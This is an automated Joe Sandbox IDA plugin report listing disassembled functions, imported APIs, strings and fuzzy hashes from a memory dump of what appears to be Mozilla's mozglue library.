Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 646e734bdfc91e16494f231e1be3e858c008a66627b5148000fb872ea1fda407
Instruction ID: 7bc7e34cdc60176546c4d15618e28dc9f506c3b0d6e8ddbbd1862619ea315dec
Opcode Fuzzy Hash: 646e734bdfc91e16494f231e1be3e858c008a66627b5148000fb872ea1fda407
Instruction Fuzzy Hash: CB3172B1A047448FDB00AF7CD6492AEBBF1FF85305F01492DE99987711EB709899CB92

Function 6CAA9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAA9675
__Init_thread_footer.LIBCMT ref: 6CAA9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAA96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAA9707
__Init_thread_footer.LIBCMT ref: 6CAA971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9773

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAA97B7
FreeLibrary.KERNEL32 ref: 6CAA97D0
FreeLibrary.KERNEL32 ref: 6CAA97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9824

Strings

NtMapViewOfSection, xrefs: 6CAA9701
ntdll.dll, xrefs: 6CAA96E3
MapViewOfFileNuma2, xrefs: 6CAA97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAA9670

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: b1185be3be2dc392d6e8365d5647f730d874ead4560acfdba2093e8ce93edcea
Instruction ID: 47324a6d0cb425c6d9680d57492a29959bc5ab08961fc09f8b602cb6d6c91503
Opcode Fuzzy Hash: b1185be3be2dc392d6e8365d5647f730d874ead4560acfdba2093e8ce93edcea
Instruction Fuzzy Hash: BD41DFB5704205DBDF00CFA4EA86A9A77B5EB5A328F044528ED1587F40D731E859CBA1

Function 6CACCC60 Relevance: 15.1, APIs: 7, Strings: 3, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA931A7), ref: 6CACCDDD

Strings

pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CACCC6F
<jemalloc>, xrefs: 6CACCF9F, 6CACCFB3
: (malloc) Error in VirtualFree(), xrefs: 6CACCFA4, 6CACCFB8

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 4275171209-2953002441
Opcode ID: 3b2b67c025dbb0c58df664bd259af9d61601dd5fdef5e5de8d935f47e870dc6e
Instruction ID: 8772282ee462b6b07e257ef0ffac1dce302816bb59625db84c4ac147055783f8
Opcode Fuzzy Hash: 3b2b67c025dbb0c58df664bd259af9d61601dd5fdef5e5de8d935f47e870dc6e
Instruction Fuzzy Hash: F331D4717452056BFF00AFA98C46BAE7B75AB4675CF344019F611ABF80DB70D580CBA2

Function 6CAA7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA7EA7
malloc.MOZGLUE(00000001), ref: 6CAA7EB3

Part of subcall function 6CAACAB0: EnterCriticalSection.KERNEL32(?), ref: 6CAACB49
Part of subcall function 6CAACAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CAACBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAA7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAA7F19
malloc.MOZGLUE(?), ref: 6CAA7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAA7F4D

Strings

d, xrefs: 6CAA7F89

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 920bf5f04f09a82baed2202f68581d2fd4349a8cab7ebd29387f26c2f360cf5b
Instruction ID: 5101d58d5b3c84479d89bcc03e56730ce7fc3effa5bbd3f77097590381f43811
Opcode Fuzzy Hash: 920bf5f04f09a82baed2202f68581d2fd4349a8cab7ebd29387f26c2f360cf5b
Instruction Fuzzy Hash: AB311861F003889BDB019B78DC055FFB778EF96208F449628DC4997A12FB31A6C8C391

Function 6CAA3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAA3EEE
RtlFreeHeap.NTDLL ref: 6CAA3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAA4006
RtlFreeHeap.NTDLL ref: 6CAA40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAA3CCC), ref: 6CAA40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAA3CCC), ref: 6CAA40C2
RtlFreeHeap.NTDLL ref: 6CAA4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAA3CCC), ref: 6CAA4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAA3CCC), ref: 6CAA4157

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 872549fd1eac52a10d9b2acf0dc5d5fc7b37ff75f545b74f1ae44216cd49cfa0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 3DA17FB1A01215CFDB40CFA9C880659BBB5FF48318F294199D909AF752D775E886CBA0

Function 6CA948E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CAD483A,?), ref: 6CA94ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CAD483A,?), ref: 6CA94AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CAD483A,?), ref: 6CA94A82

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CAD483A,?), ref: 6CA94A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CAD483A,?), ref: 6CA94A35

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CAD483A,?), ref: 6CA94A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CAD483A,?), ref: 6CA94AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CAD483A,?), ref: 6CA94B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CAD483A,?), ref: 6CA94B2C

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 9fc00608c47a812fef713db582b9bd8ca1c38402ef31469b98a4e66d910486ff
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 79716DB1A107069FDB14CF68C581AAAB7F5FF09308B10463DD16A9BB41E731F599CB81

Function 6CAE9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAE8273), ref: 6CAE9D65
free.MOZGLUE(6CAE8273,?), ref: 6CAE9D7C
free.MOZGLUE(?,?), ref: 6CAE9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAE9E0F
free.MOZGLUE(6CAE946B,?,?), ref: 6CAE9E24
free.MOZGLUE(?,?,?), ref: 6CAE9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAE9EC8
free.MOZGLUE(6CAE946B,?,?,?), ref: 6CAE9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAE9EF5

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 19674ee7c4ebe01e954ee48c8a87fdad08f3e51b8a50d24808172206c7b283f1
Instruction ID: 0740867c6ec3112fc3516a79f812d7cf56ca7253d019c76197e7c279f2139207
Opcode Fuzzy Hash: 19674ee7c4ebe01e954ee48c8a87fdad08f3e51b8a50d24808172206c7b283f1
Instruction Fuzzy Hash: 43716E70909B419BD712CF28C68059AF3F5FF99315B449619E95A5BB01EB30F8C9CBC1

Function 6CAEDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CAEDDCF

Part of subcall function 6CACFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CACFA4B

Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE90FF
Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDE0D
free.MOZGLUE(00000000), ref: 6CAEDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CADDEFD,?,6CAA4A68), ref: 6CAEDF32

Part of subcall function 6CAEDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAEDB86
Part of subcall function 6CAEDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAEDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CADDEFD,?,6CAA4A68), ref: 6CAEDF65
free.MOZGLUE(?), ref: 6CAEDF80

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 127867fab54b53b77dd84ee19d7d45d0878a3d4348b51567aceab7e67a39f0f4
Instruction ID: 9fc19b22af7e786f061821b09097b7930d864a435de5a26941270694a8bd1b68
Opcode Fuzzy Hash: 127867fab54b53b77dd84ee19d7d45d0878a3d4348b51567aceab7e67a39f0f4
Instruction Fuzzy Hash: B551C672E016009FD711DB29D9846AEB376BFD9308F99052CD81A63B00DB31F999DBD2

Function 6CAF5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5DC9
std::_Facet_Register.LIBCPMT ref: 6CAF5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5E45

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: d10792568c36a6677bf443f3ef4741b86d66295f8b213c853bb23a2b4ba899cf
Instruction ID: f702f3d5b1b4f5ffe649e66dbe9b3a7b9577fa6b488dec62a4deaf180fed0085
Opcode Fuzzy Hash: d10792568c36a6677bf443f3ef4741b86d66295f8b213c853bb23a2b4ba899cf
Instruction Fuzzy Hash: 0C41A3747003058FDB04DF65C8D9AAE7BBAEF49314F084068E51697B91DB34EC46CBA1

Function 6CA9ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9F100: LoadLibraryW.KERNEL32(shell32,?,6CB0D020), ref: 6CA9F122
Part of subcall function 6CA9F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA9F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA9ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA9EDCC
CreateFileW.KERNEL32 ref: 6CA9EE08
free.MOZGLUE(00000000), ref: 6CA9EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA9EE32

Part of subcall function 6CA9EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA9EBB5
Part of subcall function 6CA9EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CACD7F3), ref: 6CA9EBC3
Part of subcall function 6CA9EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CACD7F3), ref: 6CA9EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA9EDC1

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 585b733e516672106d871cad38b10c5a5deb17c6299eabbca7e57a8c780e87e9
Instruction ID: f6b370a61de43d53b1a7161a6734b35b48db5d9979ebb56c147dcebf0e185934
Opcode Fuzzy Hash: 585b733e516672106d871cad38b10c5a5deb17c6299eabbca7e57a8c780e87e9
Instruction Fuzzy Hash: F051D371E152449BDB00DF68C9467EEB7F0BF49318F48841DE85567B81E731A988C7E2

Function 6CB0A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB0A565

Part of subcall function 6CB0A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB0A4BE
Part of subcall function 6CB0A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB0A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB0A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB0A6B6

Strings

z, xrefs: 6CB0A6AE
0, xrefs: 6CB0A5FB

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 883aab8b3e57a1e309fa27125bb81c922ade85db748f60830507bec5447ee7e5
Instruction ID: 91967b9df0e7a80ffb6bd082a2024c489005da0e9c7335f40763a649a9cbdb59
Opcode Fuzzy Hash: 883aab8b3e57a1e309fa27125bb81c922ade85db748f60830507bec5447ee7e5
Instruction Fuzzy Hash: 8B410671A197459FC341DF28C480A9FBBF5BF89354F408A2EE49987650EB30E549CB93

Function 6CA978C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CB1008B), ref: 6CA97B89
free.MOZGLUE(?,6CB1008B), ref: 6CA97BAC

Part of subcall function 6CA978C0: free.MOZGLUE(?,6CB1008B), ref: 6CA97BCF

free.MOZGLUE(?,6CB1008B), ref: 6CA97BF2

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: f08ca03c24c4179ed234c1d3036fa6b031232e0a21d494817becd6b250f6f0ff
Instruction ID: c5014fb51834738e21622c25fc005920f104bb6912d93717c623214c7cbee471
Opcode Fuzzy Hash: f08ca03c24c4179ed234c1d3036fa6b031232e0a21d494817becd6b250f6f0ff
Instruction Fuzzy Hash: 5CC1A331E111288BEB24CB28CD91B9DB7B2BF41314F1442A9D41AE7BD1D7319EC98F61

Function 6CAD9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
__Init_thread_footer.LIBCMT ref: 6CAD949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAD9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAD947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAD946B

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 2633b2084f7c65c938b2587a300b4a64a2ac1cd8b353df60c6111d1c5ebbaf5c
Instruction ID: a227ea3faf936162663cdba706500291cde84aa25610d6dccfac389d4bdf2f4b
